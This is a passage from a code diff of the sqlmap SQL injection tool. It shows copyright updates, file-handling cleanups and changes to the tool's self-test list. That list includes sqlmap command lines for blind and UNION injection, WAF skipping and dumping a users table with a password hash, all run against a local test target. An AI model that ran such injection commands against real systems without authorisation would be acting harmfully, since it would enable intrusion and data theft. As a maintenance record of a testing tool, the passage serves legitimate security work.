conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P<name>[^\"'\r\n]+)[\"']?).+?)((%s)+--)" % ("\r\n" if "\r\n" in conf.data else '\n'), functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data) conf.data = re.sub(r"(?si)(Content-Disposition:[^\n]+\s+name=\"(?P<name>[^\"]+)\"(?:[^f|^b]|f(?!ilename=)|b(?!oundary=))*?)((%s)--)" % ("\r\n" if "\r\n" in conf.data else '\n'),
functools.partial(process, repl=r"\g<1>%s\g<3>" % kb.customInjectionMark), conf.data)
if not kb.postHint: if not kb.postHint:
if kb.customInjectionMark in conf.data: # later processed if kb.customInjectionMark in conf.data: # later processed
@@ -636,7 +638,7 @@ def _createDumpDir():
if not os.path.isdir(conf.dumpPath): if not os.path.isdir(conf.dumpPath):
try: try:
os.makedirs(conf.dumpPath) os.makedirs(conf.dumpPath)
except OSError as ex: except Exception as ex:
tempDir = tempfile.mkdtemp(prefix="sqlmapdump") tempDir = tempfile.mkdtemp(prefix="sqlmapdump")
warnMsg = "unable to create dump directory " warnMsg = "unable to create dump directory "
warnMsg += "'%s' (%s). " % (conf.dumpPath, getUnicode(ex)) warnMsg += "'%s' (%s). " % (conf.dumpPath, getUnicode(ex))

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -48,8 +48,8 @@ def vulnTest():
("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")), ("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
("-u \"<url>&id2=1\" -p id2 -v 5 --flush-session --level=5 --text-only --test-filter=\"AND boolean-based blind - WHERE or HAVING clause (MySQL comment)\"", ("~1AND",)), ("-u \"<url>&id2=1\" -p id2 -v 5 --flush-session --level=5 --text-only --test-filter=\"AND boolean-based blind - WHERE or HAVING clause (MySQL comment)\"", ("~1AND",)),
("--list-tampers", ("between", "MySQL", "xforwardedfor")), ("--list-tampers", ("between", "MySQL", "xforwardedfor")),
("-r <request> --flush-session -v 5 --test-skip=\"heavy\" --save=<config>", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")), ("-r <request> --flush-session -v 5 --test-skip=\"heavy\" --save=<config>", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")),
("-c <config>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")), ("-c <config>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")),
("-l <log> --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), ("-l <log> --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")), ("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
("-u <base> --flush-session --data=\"id=1&_=Eewef6oh\" --chunked --randomize=_ --random-agent --banner", ("fetched random HTTP User-Agent header value", "Parameter: id (POST)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")), ("-u <base> --flush-session --data=\"id=1&_=Eewef6oh\" --chunked --randomize=_ --random-agent --banner", ("fetched random HTTP User-Agent header value", "Parameter: id (POST)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
@@ -74,7 +74,7 @@ def vulnTest():
("-u \"<url>&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u \"<url>&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)),
("-u \"<url>&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-u \"<url>&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
("-d \"<direct>\" --flush-session --dump -T users --dump-format=SQLITE --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)", "dumped to SQLITE database")), ("-d \"<direct>\" --flush-session --dump -T users --dump-format=SQLITE --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)", "dumped to SQLITE database")),
("-d \"<direct>\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "'987654321'",)), ("-d \"<direct>\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5,foobar,nameisnull", "'987654321'",)),
("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")), ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
) )
@@ -147,7 +147,7 @@ def vulnTest():
handle, multiple = tempfile.mkstemp(suffix=".lst") handle, multiple = tempfile.mkstemp(suffix=".lst")
os.close(handle) os.close(handle)
content = "POST / HTTP/1.0\nUser-agent: foobar\nHost: %s:%s\n\nid=1\n" % (address, port) content = "POST / HTTP/1.0\nUser-Agent: foobar\nHost: %s:%s\n\nid=1\n" % (address, port)
with open(request, "w+") as f: with open(request, "w+") as f:
f.write(content) f.write(content)
f.flush() f.flush()
@@ -162,7 +162,9 @@ def vulnTest():
direct = "sqlite3://%s" % database direct = "sqlite3://%s" % database
tmpdir = tempfile.mkdtemp() tmpdir = tempfile.mkdtemp()
content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url) with open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))) as f:
content = f.read().replace("url =", "url = %s" % url)
with open(config, "w+") as f: with open(config, "w+") as f:
f.write(content) f.write(content)
f.flush() f.flush()
@@ -214,7 +216,9 @@ def smokeTest():
unisonRandom() unisonRandom()
content = open(paths.ERRORS_XML, "r").read() with open(paths.ERRORS_XML, "r") as f:
content = f.read()
for regex in re.findall(r'<error regexp="(.+?)"/>', content): for regex in re.findall(r'<error regexp="(.+?)"/>', content):
try: try:
re.compile(regex) re.compile(regex)

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -71,7 +71,7 @@ def update():
logger.warning(warnMsg) logger.warning(warnMsg)
if VERSION == getLatestRevision(): if VERSION == getLatestRevision():
logger.info("already at the latest revision '%s'" % getRevisionNumber()) logger.info("already at the latest revision '%s'" % (getRevisionNumber() or VERSION))
return return
message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]" message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]"

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

Some files were not shown because too many files have changed in this diff Show More